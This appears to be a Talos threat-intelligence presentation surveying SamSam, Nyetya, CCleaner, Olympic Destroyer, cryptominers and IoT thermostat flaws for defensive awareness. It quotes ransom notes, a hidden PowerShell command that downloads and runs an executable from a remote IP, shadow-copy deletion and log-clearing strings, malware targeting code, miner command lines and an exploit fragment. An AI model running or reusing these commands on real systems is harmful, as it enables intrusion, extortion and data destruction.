

# Talos

PROTECTING YOUR NETWORK

Industry-leading threat intelligence. The largest threat detection network in the world.

# Threat Landscape




# **CVE**

[ Common Vulnerabilities and Exposure ]

Common Vulnerabilities and Exposures (CVE®) is a dictionary of common names (i.e., CVE Identifiers) for publicly known vulnerabilities. CVE's common identifiers make it easier to share data across separate network security databases and tools, and provide a baseline for evaluating the coverage of an organization's security tools.




# Threat Landscape






# Threat Landscape - Vulnerabilities



# Threat Landscape






# 1.5 Million Unique

Malware samples **DAILY** 



# Threat Landscape

Talos Tracks Billions of Emails Daily




# Talos Intel Background

#### THREAT INTEL



#### **INTEL SHARING**





250+ Full Time Threat Intel Researchers



### MILLIONS Of Tolomator

Of Telemetry Agents



#### 4

Global Data Centers



#### 100+

Threat Intelligence
Partners



**1100+** Threat Traps


# Insights on Emerging Threats

# Remember SamSam?





# SamSam





# Two Critical JBOSS CVEs

- CVE-2007-1036
- "...JBoss does not restrict access to the console and web management interfaces..."
- CVE-2010-0738
- "The JMX-Console web application ... performs access control only for the GET and POST methods..."

# BTC Wallet received over \$120,000



## Sam Sam – Round 2

#### #What happened to your files?

All your files encrypted with RSA-2048 encryption, For more information search in Google 'RSA Encryption'

#### #How to recover files?

RSA is a asymmetric cryptographic algorithm, You need one key for encryption and one key for decryption So you need Private key to recover your files. It's not possible to recover your files without private key

#### #How to get private key?

You can get your private key in 3 easy step:

Step1: You must send us 0.7 Bitcoin for each affected PC OR 3 BitCoins to receive ALL Private Keys for ALL affected PC's.

Step2: After you send us 0.7 Bitcoin, Leave a comment on our Site with this detail: Just write Your 'Host name' in your comment

Your Host name is:

Redacted

Step3: We will reply to your comment with a decryption software, You should run it on your affected PC and all encrypted files will be recovered \* Our Site Address: http://jcmi5n4c3mvgtyt5.onion/familiarisingly/

Our BitCoin Address: 1MddNhqRCJe825ywjdbjbAQpstWBpKHmFR

(If you send us 3 BitCoins For all PC's, Leave a comment on our site with this detail: Just write 'For All Affected PC's' in your comment)
(Also if you want pay for 'all affected PC's' You can pay 1.5 Bitcoins to receive half of keys(randomly) and after you verify it send 2nd half to receive all

#### How To Access To Our Site

For access to our site you must install Tor browser and enter our site URL in your tor browser. You can download tor browser from https://www.torproject.org/download/download.html.en
For more information please search in Google 'How to access onion sites'

#### # Test Decryption #

Check our site, You can upload 2 encrypted files and we will decrypt your files as demo.

If you are worry that you don't get your keys after you paid, You can get one key for free on you choise(except important servers), Tel Also you can get some single key and if all single BTC taht you paid reached to all keys price you will get all keys Anyway be sure that you will get all your keys if you paid for them and we don't want damage our reliability With buying the first key you will find that we are honest.




# Sam Sam – Round 2


Summary		Trans	sactions		
Address	1MddNhqRCJe825ywjdbjbAQpstWBpKHmFR	No. T	ransactions	23	
Hash 160	e24fda9d167a47607d6625d50d88cc1686159f01	Total	Received	30.4 BTC	<u>di</u>
Tools	Related Tags - Unspent Outputs	Final	Balance	0 BTC	
			Request Payment	Donation Button	

30.4 BTC ~= \$325,000 1st wallet transaction posted December 25, 2017





# WannaCry





# Microsoft Security Bulletin MS17-010 - Critical

#### Security Update for Microsoft Windows SMB Server (4013389)

Published: March 14, 2017

Version: 1.0

#### **Executive Summary**

This security update resolves vulnerabilities in Microsoft Windows. The most severe of the vulnerabilities could allow remote code execution if an attacker sends specially crafted messages to a Microsoft Server Message Block 1.0 (SMBv1) server.

This security update is rated Critical for all supported releases of Microsoft Windows. For more information, see the Affected Software and Vulnerability Severity Ratings section.

The security update addresses the vulnerabilities by correcting how SMBv1 handles specially crafted requests.

For more information about the vulnerabilities, see the Vulnerability Information section.

For more information about this update, see Microsoft Knowledge Base Article 4013389.

#### î.

#### On this page

**Executive Summary** 

Affected Software and Vulnerability Severity Ratings

**Vulnerability Information** 

Security Update Deployment


Acknowledgments

Disclaimer

Revisions




# Nyetya





# Nyetya Propagation





# Malware Credential Stealing

Command line

```
C:\WINDOWS\TEMP\561D.tmp, \.\pipe\{C1F0bf2d-8c17-4550-af5a-65a22c61739c}
```

- Modified version of Mimikatz pen testing tool.
- Credentials passed over a named pipe.
- Malware collects stolen credentials as it propagates.

```
rundll32.exe C:\Windows\perfc.dat,#1 60 "username:password"
```

Collects current user token via Windows API.

### M.E. Doc

- Windows .Net app used for tax processing.
- Auto Update
- Webserver and update server analysis showed exploitation would be trivial over a number of vectors
- PHP Webshells

### M.e.Doc Connection



### **APRIL 14, 2017**

01.175-10.01.176 version of MeDoc is released with a backdoor.

### MAY 15, 2017

01.180-10.01.181 version of MeDoc is released with a backdoor.



### JUNE 22, 2017.

01.188-10.01.189 version of MeDoc is released with a backdoor

# Nyetya Payload

Ocops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because they have been encrypted. Perhaps you are busy looking for a way to recover your files, but don't waste your time. Nobody can recover your files without our decryption service.

We guarantee that you can recover all your files safely and easily. All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send \$300 worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

 Send your Bitcoin wallet ID and personal installation key to e-маіl номямітh123456@posteo.net. Your personal installation key:

J3mE9S-8XNTZd-ZgjYXb-fUFj8m-gMYdyv-6rEiYa-KevGjA-q8YZf4-5LP82d-ew5GUV

If you already purchased your key, please enter it below. Key: \_



# Genuine Ransomware?

- Single bitcoin wallet means difficult to follow who has paid.
- Single contact email address, now blocked means that you can't contact the criminals even if you want to.
- If admin, MBR is overwritten.
- If not admin, wipes first 10 disk sectors.
- If have software "avp.exe" running, wipes first 10 disk sectors.





# Attribution from US and UK












- new exploit detection technology identified an executable triggering our advanced malware protection systems
- malicious payload featured a Domain Generation Algorithm (DGA) as well as hardcoded Command and Control (C2) functionality



### Digital Signature of CCleaner 5.33

- Malware bundled with CCleaner was digitally signed!!!
- This certificate should be revoked and untrusted moving forward
- Likely an attacker compromised a portion of development or build environment
- Leveraged access to insert malware into the CCleaner build that was released and hosted by the organization





**Follow** 

Replying to @cglyer @avast\_antivirus

And lastly, it's important to realize CCleaner is a consumer-focused product, so it's not really a great vector for something like APT. 3/3

12:47 PM - 19 Sep 2017

2 Retweets 1 Like









# Data Collected on Infected System's

### **Installed Programs**

Adobe Flash Player 23 ActiveX Adobe Flash Player 26 NPAPI Adobe Shockwave Player 12.1 CCleaner

CubePDF Utility 0.3.3粒 (x86)

Windows 偶傳領框 保貸他所保 - OLYMPUS IMAGING CORP.

Camera Communication Driver Package (09/09/2009 1.0.0.0)

Google Chrome

晉續抵妊挘婡撽債乕僥傿儕僥傿

LanScope Cat MR Mozilla Firefox 55.0.3 (x86 ja)

Mozilla Maintenance Service 傳傳條價值價值無 Corp.債債價值價值

使佣售勞絕勞傷所 Corp.債傳傳傾價價

遺皈岑娑尋嫦強写PDFinder 4.6

Picasa 3 TeamViewer 9

Roxio Central Data

Google Toolbar for Internet Explorer

湖車墻zip高葱愱棕 Roxio Central Tools

Google Toolbar for Internet Explorer Java 8 Update 141

UpdateAdvisor(柿懺憐抲) V3.60 L20

eReg

Java Auto Updater PA-ZS600T

Google Earth Plug-in

Google Update Helper

Intel(R) Management Engine Components

增惱榊價條所傾2014

Windows Media Player Firefox Plugin CubePDF 1.0.0RC7

Fuji Xerox DocuWorks Viewer Light 8

Google 擔柿岅攜樹

iCloud

Security Update for Microsoft Excel 2010 (KB3191907) 32-Bit Edition Security Update for Microsoft Office 2010 (KB2956063) 32-Bit Edition Update for Microsoft Office 2010 (KB2589318) 32-Bit Edition

#### **Process List**

#### System

C:\Windows\System32\smss.exe

C:\Windows\System32\csrss.exe

C:\Windows\System32\wininit.exe

C:\Windows\System32\csrss.exe C:\Windows\System32\services.exe

C:\Windows\System32\lsass.exe

C:\Windows\System32\lsm.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\nvvsvc.exe

C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\audiodg.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\SLsvc.exe C:\Windows\System32\sychost.exe

C:\Windows\System32\winlogon.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\nvvsvc.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Program Files\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Program Files\Agilent\IO Libraries Suite\AgilentIOLibrariesService.exe

C:\Program Files\Agilent\IO Libraries Suite\LxiMdnsResponder.exe

C:\Program Files\ESET\ESET Endpoint Antivirus\ekrn.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe

# Targeting the 2<sup>nd</sup> Stage Payload

```
$pefilename = "";
// ProcessWin64 = 0
// If domain is the domain list, set the $pefilename to the filename to send back
if(IsInArray($DomainList, $s['DomainName'])) {    $pefilename = GetDllFile($ProcessWin64); }
// If the ip is in the IPList, set the $pefilename to the filename to send back
if(!file_exists($pefilename)) {    if(IsInArray($IPList, $_SERVER['REMOTE_ADDR'])) {        $pefilename = GetDllFile($ProcessWin64);    }    }
if(!file_exists($pefilename)) { if(IsInArray($HostList, $s['HostName'])) { $pefilename = GetDllFile($ProcessWin64); } }
// Finally if pefilename has a file to feed and it exists, send them the file
if(file_exists($pefilename))
    $pefilecontent = file_aet_contents($pefilename);
    if($pefilecontent) {
        if($ProcessWin64) {
            $outcode = $peloader_x64 . $pefilecontent;
        } else {
            $outcode = $peloader_x86 . $pefilecontent;
```

# Targeted to Tech Companies

2<sup>nd</sup> Stage only delivered to 23 specific domains

```
$DomainList = array(
"singtel.corp.root",
"htcgroup.corp",
"samsung-breda",
"Samsung",
"SAMSUNG. SEPM",
"samsung.sk",
"jp.sony.com",
"am.sony.com",
"gg.gauselmann.com",
"vmware.com",
"ger.corp.intel.com",
"amr.corp.intel.com",
"ntdev.corp.microsoft.com",
"cisco.com",
"uk.pri.o2.com",
"vf-es.internal.vodafone.com",
"linksys",
"apo.epson.net",
"msi.com.tw",
"infoview2u.dvrdns.org",
"dfw01.corp.akamai.com",
"hq.gmail.com",
"dlink.com",
"test.com");
```

- Database Tracked 2<sup>nd</sup> Stage Delivery
- ➤ No Cisco Devices Delivered 2<sup>nd</sup> Stage

# Command and Control Investigation

• Let's play with statistics...

	1 •	select	count(*)	from	CC.Server	;
<						
R	esult Grid	<b>**</b>	Filter Rows:			Export:
	count(*)					
	862419					

	1	•	sel	ect	count(*)	from	CC.Server	where	DomainName	: <>	"";
<											
Re	sult G	rid		43	Filter Rows:			Export:	Wrap Ce	ll Con	tent:
	cou	nt(*)									
	4144	16									



# Command and Control Investigation

Let's play with statistics...

1 • select count(*) from CC.Server where DomainName like "%.gov%";
<
Result Grid   1
count(*)
540
<pre>1 • select count(*) from CC.Server where DomainName like "%bank%";</pre>
<
Result Grid   1
count(*)
51




# Command and Control Investigation


Let's play with statistics...

	<pre>1 • select count(*) from CC.Server where Software like "%PLCSIM%";</pre>
<	
Res	alt Grid   1
	count(*)
	• select count(*) from CC.Server where Software like "%PLCMonitor%"
Resul	Grid   Export:   Wrap Cell Content: TA
9	unt(*)



# Olympic Destroyer







NEWS WINTER OLYMPICS 2018 - PYEONGCHANG FEB 12 2018, 8:59 PM ET

#### 'Olympic Destroyer' malware targeted PyeongChang Games, firms say

by REUTERS

SHARE





Several U.S. cyber security firms said on Monday that they had uncovered a computer virus dubbed "Olympic Destroyer" that was likely used in an attack on Friday's opening ceremony of the PyeongChang Winter Games.

Games Organizers confirmed the attack on Sunday, saying that it affected internet and television services but did not compromise critical operations. Organizers did not say who was behind the attack or provide detailed discussion of the malware, though a spokesman said that all issues had been resolved as of Saturday.





## Olympic Destroyer

's'	.data:00428CC1	00000021	С	Pyeongchang2018.com\\PCA.spsadmin
's'	.data:00428CE2	00000010	C	
's'	.data:00428CF6	00000019	С	Pyeongchang2018.com\\test
's'	.data:00428D0F	0000000C	С	
's'	.data:00428D1F	0000001C	С	Pyeongchang2018.com\\adm.pms
's'	.data:00428D3B	00000010	С	
's'	.data:00428D4F	00000021	С	Pyeongchang2018.com\\COS.SQLAdmin
's'	.data:00428D70	00000010	С	
's'	.data:00428D84	00000021	С	Pyeongchang2018.com\\pca.dnsadmin
's'	.data:00428DA5	00000010	С	
's'	.data:00428DB9	00000020	С	Pyeongchang2018.com\\PCA.imadmin
's'	.data:00428DD9	0000000F	С	
's'	.data:00428DEC	00000022	С	Pyeongchang2018.com\\pca.perfadmin
's'	.data:00428E0E	0000000D	С	
's'	.data:00428E1F	00000023	С	Pyeongchang2018.com\jaesang.jeong6
's'	.data:00428E42	0000000C	С	
's'	.data:00428E52	00000022	С	Pyeongchang2018.com\\pca.dnsadmin2
's'	.data:00428E74	0000000C	С	
's'	.data:00428E84	00000023	С	Pyeongchang2018.com\\pca.cpvpnadmin
's'	.data:00428EA7	0000000F	С	
's'	.data:00428EBA	00000021	С	Pyeongchang2018.com\\pca.dmzadmin
's'	.data:00428EDB	0000000C	С	
's'	.data:00428EEB	00000021	С	Pyeongchang2018.com\\PCA.ERPAdmin
's'	.data:00428F0C	00000010	С	




## Olympic Destroyer

```
.rdata:00407950 aCWindowsSystem:
                                                         ; DATA XREF: WinMain(x,x,x,x)+75^o
                                text "UTF-16LE", 'c:\Windows\system32\vssadmin.exe',0
.rdata:00407950
.rdata:00407992
                                align 4
.rdata:00407994 aDeleteShadowsA:
                                                         ; DATA XREF: WinMain(x,x,x,x)+701o
                                text "UTF-16LE", 'delete shadows /all /quiet',0
.rdata:00407994
.rdata:004079CA
                                align 4
.rdata:004079CC aWbadminExe:
                                                         ; DATA XREF: WinMain(x,x,x,x)+7F1o
.rdata:004079CC
                                text "UTF-16LE", 'wbadmin.exe',0
.rdata:004079E4 aDeleteCatalogQ:
                                                         ; DATA XREF: WinMain(x,x,x,x)+841o
                                text "UTF-16LE", 'delete catalog -quiet',0
.rdata:004079E4
.rdata:00407A10 aBcdeditExe:
                                                         ; DATA XREF: WinMain(x,x,x,x)+901o
.rdata:00407A10
                                text "UTF-16LE", 'bcdedit.exe',0
.rdata:00407A28 aSetDefaultBoot:
                                                         ; DATA XREF: WinMain(x,x,x,x)+95\u00f30
                                text "UTF-16LE", '/set {default} bootstatuspolicy ignoreallfailures &'
.rdata:00407A28
                                text "UTF-16LE", ' bcdedit /set {default} recoveryenabled no',0
.rdata:00407A28
.rdata:00407AE4 aWevtutilExe:
                                                         ; DATA XREF: WinMain(x,x,x,x)+A11o
                                text "UTF-16LE", 'wevtutil.exe',0
.rdata:00407AF4
.rdata:00407AFE
                                align 10h
.rdata:00407B00 aClSystem:
                                                         ; DATA XREF: WinMain(x,x,x,x)+A61o
.rdata:00407B00
                                text "UTF-16LE", 'cl System',0
.rdata:00407B14 aClSecurity:
                                                         ; DATA XREF: WinMain(x,x,x,x)+B21o
.rdata:00407B14
                                text "UTF-16LE", 'cl Security',0
                                align 10h
.rdata:00407B2C
```

# Cryptocurrency Miners 01010101010010101010110 010101010100101010101 Talos

## Cryptocurrency Values Explode





## **Obtaining Cryptocurrency**





## Hash Rates Explained





## Pools FTW



#### How Do Pool Miners Work?

```
--url=stratum+tcp://cryptonight.br.nicehash.com:3355 --userpass=3Nc4Z4hs9tPVfTq65h4ePgRWsfUuEWQYZR.worker3:x

Mining Pool URL


Worker ID
```



## Available Options for Stealth

- Control CPU Usage Percentage.
- Limit System Temperatures.
- Limit CPU core usage.
- Sleep Periods / Scheduled Task Run Times.
- AC Power Status









Document created in earlier version of Microsoft Office Word

Ι

To view this content, please click "Enable Editing" from the yellow bar and then click "Enable Content"

#### Office Document Launches a Powershell Severity: 100 Confidence: 100 A An Office document file was observed triggering a sequence of steps to launch a PowerShell. This Categories evasion Report error technique is commonly seen among phishing attacks. A macro inside the document is used to launch a Tags obfuscation, dropper, script outside of Office, which allows it greater abilities on the system. The script then launches a script, phishing PowerShell, which gives attackers a more robust scripting environment than offered through a VB script or the Windows shell. Process ID **Command Line** 13 powershell -WindowStyle Hidden \$\text{\$webclient} = new-object System.Net.WebClient;\$\text{\$myurls} = 'http://89.248.169.136/bigmac.jpg'.Split(',');\$\text{\$path} = \text{\$env:temp} + '\65536.e xe';foreach(\$myurl in \$myurls){try{\$webclient.DownloadFile(\$myurl.ToString(), \$path);Start-Process \$path;break;}catch{}} Downloaded PE Executable With Image Extension Severity: 95 Confidence: 100 ^ A PE executable was downloaded over the network, but had the file extension of an image. Malware will Categories network, file Report error often download additional executables for added capabilities. In an effort to obfuscate the fact an Tags dropper, executable executable file is being downloaded malware authors will often choose image filename extensions, since downloading images is commonly seen on networks. Artifact ID Dst IP Path Domain bigmac.jpg 3 Unknown 2 89.248.169.136



Name: wuauclt.exe

Process ID: 31 Children: 0 File actions: 0

Process name wuauclt.exe

Image filename C:\Users\ADMINI~1\AppData\Local\Temp\C15F.tmp\wuauclt.exe

**Z** 

Analysis reason Parent is being analyzed

**Command line** "C:\Users\ADMINI~1\AppData\Local\Temp\C15F.tmp\wuauclt.ex

e" -o stratum+tcp://pool.minexmr.com:4444 -u 49X9ZwRuS6JR74

LzwjVx2tQRQpTnoQUzdjh76G3BmuJDS7UKppqjiPx2tbvgt27Ru6

YkULZ4FbnHbJZ2tAqPas12PV5F6te.smoke -p x --safe

Children None

**New** True



Worker ID	Average Hash Rate	Potential Profit
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7 MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc 3BeMkLGaPbF5vWtANQpR48NWyTtgLF8daDK	450 KH/s	\$330,000.00
4AQe5sAFWZKECiaeNTt59LG7kVtqRoSRJMjrm Q6GiMFAeUvoL3MFeTE6zwwHkFPrAyNw2JHD xUSWL82RiZThPpk4SEg7Vqe	350 KH/s	\$257,000.00
4875jA3AmHFaaiYMxSCqnw39viv7NcqJUcbW3 kR1kwpQ1stxLKhHM75DDqFBqpMsfzPkqKxJEH okjXP8m3uwzXZx38rEX4C	325 KH/s	\$238,000.00
43rfEtGjJdFaXDjRYvo7wJ9Cmq1vWjMdkZzaKE kgp4aQBHKhKZ7Rp6oB1QMBPFJUKGGWc9Ae Abr9V6gYVSM8XwbXBYZXBss	245 KH/s	\$180,000.00
46xzbEFicggME8PBfwPnwuHbtk2UQY6xmMjAs 3MHvLEmSyTnBv3BQTdYZ5Nfw5qLGbZmvTH4 rZMXZF6rYNjgfAABSm9FaYT	240 KH/s	\$176,000.00
Total	1.6 MH/s	\$1,181,000.00



## When Does It Become Malware?

- Intent Was the mining software installed via deceptive techniques?
- Does the user know it is even running on their system?
- Most malicious miners are not the original mining software. They have been bundled with code required to install and maintain persistence.




#### What To Look For?

- Prolonged high system utilization.
- Attempts to connect to mining pools using common mining ports (TCP/3333, 4444, etc.)
- Creation of common malware persistence mechanisms (Run keys, WMI entries, Scheduled Tasks)






## "Hailstorm" Spam






#### HIGH VOLUME SPAM CAMPAIGNS Broken Down by Subject: Header




## "Hailstorm" Spam domain as seen in Cisco Umbrella






## **Necurs Spam by Country**





## **Necurs** Re-use of IP addresses



# of Campaigns


Unique IPs

937761 128916



## The Internet of Things

## The Internet of Things, "born" between 2008-2009



## Rob Joyce of the NSA TAO



Rob Joyce Chief, Tailored Access Operations NSA

- "..there's even the heating and cooling systems"

 Talos identified several flaws in Trane ComfortLink II thermostats and alerted Trane to them.





Vulnerability Details

- CVE-2015-2867 Hardcoded SSH credential vulnerability
- CVE-2015-2868 Buffer overflow flaws leading to remote code execution

```
def exploit
    lop =
            0xeafffffe
        ].pack('V')
    xor =
            0xe28f7018, # add
                                  r7, pc, #24
            0xe3a06078, # mov
                                  r4, #136 ; 0x88
            0xe3a04088, # mov
            0xe7d73006, # ldrb
            0xe0233004, # eor
            0xe7c73006, # strb
                                  r3, [r7, r6]
            0x5afffffa # bpl
        ].pack('V*')
```



- Where are the advisories?
- Download the update:
   <a href="https://www.trane.com/residential/en/resources/smart-home-automation/installing-upgrading.html">https://www.trane.com/residential/en/resources/smart-home-automation/installing-upgrading.html</a>



```
.oO( craiwill@CRAIWILL-M-GOD3 temp ) tar zxvf rsup_145007844901.tar.gz
x a_145007844901
x b_145007844901
x c_145007844901
x d_145007844901
x e_145007844901
x f_145007844901
x g_145007844901
x v_145007844901
x m_145007844901
```



```
.oO( craiwill@CRAIWILL-M-GOD3 temp ) file *
                         u-boot legacy uImage, Linux-2.6.26-466-ga04670e, Linux/ARM, OS Kernel Image (Not compressed), 2002624 bytes, Tue Apr 21 02:54:04 2015,
a_145007844901:
x2E948E86
b_145007844901:
                         gzip compressed data, was "rootfs.ext2", from Unix, last modified: Tue Apr 21 03:07:48 2015
                          Linux jffs2 filesystem data little endian
c_145007844901:
```

u-boot legacy uImage, Linux-2.6.26-466-ga04670e, Linux/ARM, OS Kernel Image (Not compressed), 1854792 bytes, Mon Dec 14 02:32:42 2015,

e\_145007844901: data f\_145007844901: data g\_145007844901: Linux jffs2 filesystem data little endian

ASCII text <

d\_145007844901:

m\_145007844901:

v\_145007844901:

xA5F612F1

rsup\_145007844901.tar.gz; gzip compressed data, from Unix, last modified: Mon Dec 14 08:43:59 2015 ASCII text



```
.oO( craiwill@CRAIWILL-M-GOD3 temp ) head m_145007844901
<version_info>
cyroduct build='145007844901' release='4.0.3' date='14-Dec-2015' downloadSize='90922' installationSize='95468'>
<features>
<feature notes='Improved WiFi management, Comm Bus improvements'/>
</features>
<fix info='Security fixes, courtesy: Cisco Talos'/>
<fix info='Improved comm link reporting with 940'/>
</fixes>
<checksum></checksum>
.oO( craiwill@CRAIWILL-M-GOD3 temp )
```



- Where is the advisory??
- A fully functional, unrestricted BusyBox environment in an IoT device means it's useful for other "things"
- No one thinks about patching their IoT devices. Many devices lack an interface for this activity.
- Mr. Robot, anyone?





### Stay Informed





Talos publically shares security information through numerous channels to help make the internet safer for everyone.



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